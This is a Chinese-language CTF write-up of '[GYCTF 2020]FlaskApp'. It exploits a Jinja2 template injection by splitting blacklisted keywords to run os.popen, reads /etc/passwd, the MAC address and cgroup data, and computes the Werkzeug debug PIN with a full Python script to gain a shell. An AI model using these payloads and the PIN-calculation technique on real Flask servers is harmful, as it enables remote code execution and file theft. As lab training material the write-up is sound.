[GYCTF 2020]FlaskApp
网站开启了Debug模式,在解码页面输入不正确的编码时候就会返回报错,得到部分的源码:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)
根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了,但是这里存在waf,所以需要进行绕过。
拼接绕过黑名单
我们进行绕过来尽可能的达到命令执行,因为有waf,经测试过滤了flag(ZmxhZyA=),import,os,eval等关键词。我们对可能进行了过滤的单词使用拆分。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0NCnslIGlmIGMuX19uYW1lX18gPT0gJ2NhdGNoX3dhcm5pbmdzJyAlfQ0KICB7JSBmb3IgYiBpbiBjLl9faW5pdF9fLl9fZ2xvYmFsc19fLnZhbHVlcygpICV9DQogIHslIGlmIGIuX19jbGFzc19fID09IHt9Ll9fY2xhc3NfXyAlfQ0KICAgIHslIGlmICdldmEnKydsJyBpbiBiLmtleXMoKSAlfQ0KICAgICAge3sgYlsnZXZhJysnbCddKCdfX2ltcG9yJysndF9fJysnKCJvJysncyIpJysnLnBvcGUnKyduJysnKCJscyAvIikucmVhZCgpJykgfX0NCiAgICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRmb3IgJX0NCnslIGVuZGlmICV9DQp7JSBlbmRmb3IgJX0=
可以看到根目录下存在/this_is_the_flag.txt,接着拼接即可:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0NCnslIGlmIGMuX19uYW1lX18gPT0gJ2NhdGNoX3dhcm5pbmdzJyAlfQ0KICB7JSBmb3IgYiBpbiBjLl9faW5pdF9fLl9fZ2xvYmFsc19fLnZhbHVlcygpICV9DQogIHslIGlmIGIuX19jbGFzc19fID09IHt9Ll9fY2xhc3NfXyAlfQ0KICAgIHslIGlmICdldmEnKydsJyBpbiBiLmtleXMoKSAlfQ0KICAgICAge3sgYlsnZXZhJysnbCddKCdfX2ltcG9yJysndF9fJysnKCJvJysncyIpJysnLnBvcGUnKyduJysnKCJjYXQgL3RoaXNfaXNfdGhlX2ZsIisiYWcudHh0IikucmVhZCgpJykgfX0NCiAgICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRmb3IgJX0NCnslIGVuZGlmICV9DQp7JSBlbmRmb3IgJX0=
计算pin码
Flask的Debug模式下,只要我们拿到了PIN码就能拿到Shell,计算PIN码需要以下几个内容:
usrname: 就是启动这个 Flask的用户
modname: 一般为flask.app
getattr(app, “__name__”, app.__class__.__name__):python该值一般为Flask 值一般不变
getattr(mod, 'file', None):为flask目录下的一个app.py的绝对路径
uuid.getnode():就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行
- 服务器运行flask所登录的用户名
我们可以查看/etc/passwd文件:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
得到用户名为flaskweb
- flask目录下的app.py的绝对路径
根据报错信息可以知道为/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前电脑的MAC地址
我们可以读取/sys/class/net/eth0/address
来获得mac的16进制:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
得到02:42:ac:10:af:de
,将其转换为十进制,在本地python输入:
>>> print(int('0242ac10afde',16))
2485377871838
- 机器的id
读取/proc/self/cgroup
获取get_machine_id()
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
得到:
12:pids:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 11:devices:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 10:rdma:/ 9:memory:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 8:blkio:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 7:cpu,cpuacct:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 6:net_cls,net_prio:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b
5:hugetlb:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 4:cpuset:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 3:perf_event:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 2:freezer:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 1:name=systemd:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 0::/system.slice/containerd.service
也就是1:name=systemd:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b
计算PIN码:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377871838',# str(uuid.getnode()), /sys/class/net/ens33/address
'4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
将得到的PIN码在Debug页面输入进入控制台,既可以执行python shell了:
os.popen('cat /this_is_the_flag.txt').read()